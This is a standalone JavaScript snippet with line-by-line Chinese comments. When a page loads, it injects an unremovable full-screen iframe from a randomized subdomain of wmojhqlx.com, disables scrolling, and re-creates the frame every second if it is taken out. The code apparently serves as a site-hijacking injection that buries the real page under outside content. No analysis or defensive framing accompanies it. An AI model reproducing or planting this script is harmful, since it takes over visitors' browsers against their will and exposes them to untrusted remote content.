// 生成指定长度的随机字符串 function generateRandomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; // 定义可用字符 let result = ""; // 初始化结果字符串 for (let i = 0; i < length; i++) { // 循环指定长度 result += characters.charAt(Math.floor(Math.random() * characters.length)); // 随机选择字符并添加到结果 } return result; // 返回生成的随机字符串 } // 创建并插入一个 iframe function createIframe() { const randomPrefix = generateRandomString(6); // 生成随机前缀 const url = "https://" + randomPrefix + ".wmojhqlx.com/fanfan.html"; // 构造 iframe 的 URL const iframe = document.createElement("iframe"); // 创建 iframe 元素 iframe.src = url; // 设置 iframe 的源 URL iframe.style.position = "fixed"; // 设置位置为固定 iframe.style.top = "0"; // 设置顶部位置为 0 iframe.style.left = "0"; // 设置左侧位置为 0 iframe.style.width = "100vw"; // 设置宽度为 100% 视口宽度 iframe.style.height = "100vh"; // 设置高度为 100% 视口高度 iframe.style.border = "none"; // 移除边框 iframe.style.zIndex = "999999"; // 设置 z-index 以确保在最上层 iframe.style.setProperty("display", "block", "important"); // 强制显示 iframe.style.setProperty("visibility", "visible", "important"); // 强制可见 iframe.setAttribute("frameborder", "0"); // 设置 frameborder 属性为 0 iframe.setAttribute("scrolling", "yes"); // 允许滚动 iframe.setAttribute("allowfullscreen", "true"); // 允许全屏 iframe.setAttribute("loading", "lazy"); // 设置延迟加载 // 如果 body 已经存在,则直接添加 iframe;否则,等待 DOMContentLoaded 事件 if (document.body) { document.body.appendChild(iframe); // 将 iframe 添加到 body disableScroll(); // 禁用页面滚动 } else { document.addEventListener("DOMContentLoaded", function() { // 监听 DOMContentLoaded 事件 document.body.appendChild(iframe); // 将 iframe 添加到 body disableScroll(); // 禁用页面滚动 }); } } // 禁用页面滚动 function disableScroll() { document.body.style.overflow = "hidden"; // 禁用 body 的滚动 document.documentElement.style.overflow = "hidden"; // 禁用 html 的滚动 } // 自执行函数 (function() { try { createIframe(); // 尝试创建 iframe } catch(e) { // 如果出现错误,1 毫秒后重试创建 iframe setTimeout(createIframe, 1); } // 每秒检查 iframe 是否存在,如果不存在则重新创建 setInterval(function() { const iframe = document.querySelector("iframe"); // 查询当前的 iframe if (!iframe || !document.body.contains(iframe)) { // 如果没有找到 iframe createIframe(); // 重新创建 iframe } }, 1000); // 监听屏幕方向变化事件 window.addEventListener("orientationchange", function() { setTimeout(resizeIframe, 300); // 300 毫秒后调整 iframe 大小 }); // 监听窗口大小变化事件 window.addEventListener("resize", function() { setTimeout(resizeIframe, 300); // 300 毫秒后调整 iframe 大小 }); // 调整 iframe 大小的函数 function resizeIframe() { const iframe = document.querySelector("iframe"); // 查询当前的 iframe if (iframe) { iframe.style.width = "100vw"; // 设置宽度为 100% 视口宽度 iframe.style.height = "100vh"; // 设置高度为 100% 视口高度 } } // 针对 iOS 设备的滚动处理 if (/iPad|iPhone|iPod/.test(navigator.userAgent)) { // 检测是否为 iOS 设备 window.addEventListener("scroll", function() { const iframe = document.querySelector("iframe"); // 查询当前的 iframe if (iframe) { iframe.style.height = window.innerHeight + "px"; // 设置 iframe 高度为窗口高度 } }); } })();